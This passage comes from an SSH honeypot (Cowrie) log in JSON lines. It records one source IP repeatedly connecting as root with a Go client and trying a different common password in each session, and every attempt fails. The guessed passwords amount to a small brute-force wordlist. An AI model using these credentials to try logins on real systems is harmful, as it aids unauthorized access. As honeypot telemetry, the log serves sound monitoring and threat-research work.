{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:20.075392Z","src_ip":"60.165.124.241","session":"5ff04422d803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60266,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a8aad32bbd0","protocol":"ssh","message":"New connection: 60.165.124.241:60266 (10.17.0.5:22) [session: 7a8aad32bbd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:20.337094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:20.341913Z","src_ip":"60.165.124.241","session":"7a8aad32bbd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:20.592914Z","src_ip":"60.165.124.241","session":"7a8aad32bbd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root+123","message":"login attempt [root/Root+123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:21.345237Z","src_ip":"60.165.124.241","session":"7a8aad32bbd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:22.597476Z","src_ip":"60.165.124.241","session":"7a8aad32bbd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34786,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0f64da1e119","protocol":"ssh","message":"New connection: 60.165.124.241:34786 (10.17.0.5:22) [session: e0f64da1e119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:22.826304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:22.831717Z","src_ip":"60.165.124.241","session":"e0f64da1e119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:23.082983Z","src_ip":"60.165.124.241","session":"e0f64da1e119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABcd123456","message":"login attempt [root/ABcd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:23.823988Z","src_ip":"60.165.124.241","session":"e0f64da1e119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:25.069023Z","src_ip":"60.165.124.241","session":"e0f64da1e119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37906,"dst_ip":"10.17.0.5","dst_port":22,"session":"b78c72207842","protocol":"ssh","message":"New connection: 60.165.124.241:37906 (10.17.0.5:22) [session: b78c72207842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:25.314400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:25.319291Z","src_ip":"60.165.124.241","session":"b78c72207842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:25.575390Z","src_ip":"60.165.124.241","session":"b78c72207842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zhu88jie","message":"login attempt [root/Zhu88jie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:26.297520Z","src_ip":"60.165.124.241","session":"b78c72207842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:27.538556Z","src_ip":"60.165.124.241","session":"b78c72207842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40614,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f1f11e5ef81","protocol":"ssh","message":"New connection: 60.165.124.241:40614 (10.17.0.5:22) [session: 2f1f11e5ef81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:27.770391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:27.775212Z","src_ip":"60.165.124.241","session":"2f1f11e5ef81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:28.014004Z","src_ip":"60.165.124.241","session":"2f1f11e5ef81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq147258","message":"login attempt [root/Qq147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:28.748626Z","src_ip":"60.165.124.241","session":"2f1f11e5ef81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:29.992926Z","src_ip":"60.165.124.241","session":"2f1f11e5ef81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43312,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fe29acbb7ce","protocol":"ssh","message":"New connection: 60.165.124.241:43312 (10.17.0.5:22) [session: 0fe29acbb7ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:30.235536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:30.245834Z","src_ip":"60.165.124.241","session":"0fe29acbb7ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:30.358001Z","src_ip":"176.65.132.50","session":"810490470570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:30.500266Z","src_ip":"60.165.124.241","session":"0fe29acbb7ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123@@","message":"login attempt [root/Admin123@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:31.235643Z","src_ip":"60.165.124.241","session":"0fe29acbb7ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:32.478911Z","src_ip":"60.165.124.241","session":"0fe29acbb7ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46336,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb11c3321666","protocol":"ssh","message":"New connection: 60.165.124.241:46336 (10.17.0.5:22) [session: bb11c3321666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:32.759309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:32.764184Z","src_ip":"60.165.124.241","session":"bb11c3321666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:33.031698Z","src_ip":"60.165.124.241","session":"bb11c3321666","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111qqqq","message":"login attempt [root/1111qqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:33.826343Z","src_ip":"60.165.124.241","session":"bb11c3321666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:35.099838Z","src_ip":"60.165.124.241","session":"bb11c3321666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49118,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a48efda7868","protocol":"ssh","message":"New connection: 60.165.124.241:49118 (10.17.0.5:22) [session: 4a48efda7868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:35.315722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:35.323947Z","src_ip":"60.165.124.241","session":"4a48efda7868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:35.560089Z","src_ip":"60.165.124.241","session":"4a48efda7868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Asdf1234","message":"login attempt [root/!Asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:36.297190Z","src_ip":"60.165.124.241","session":"4a48efda7868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:37.539766Z","src_ip":"60.165.124.241","session":"4a48efda7868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52090,"dst_ip":"10.17.0.5","dst_port":22,"session":"01e48edd24ca","protocol":"ssh","message":"New connection: 60.165.124.241:52090 (10.17.0.5:22) [session: 01e48edd24ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:37.793984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:37.798660Z","src_ip":"60.165.124.241","session":"01e48edd24ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:38.044595Z","src_ip":"60.165.124.241","session":"01e48edd24ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAAaaa123","message":"login attempt [root/AAAaaa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:38.788040Z","src_ip":"60.165.124.241","session":"01e48edd24ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:40.043686Z","src_ip":"60.165.124.241","session":"01e48edd24ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54946,"dst_ip":"10.17.0.5","dst_port":22,"session":"8547d1e573db","protocol":"ssh","message":"New connection: 60.165.124.241:54946 (10.17.0.5:22) [session: 8547d1e573db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:40.278288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:45:40.288249Z","src_ip":"60.165.124.241","session":"8547d1e573db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp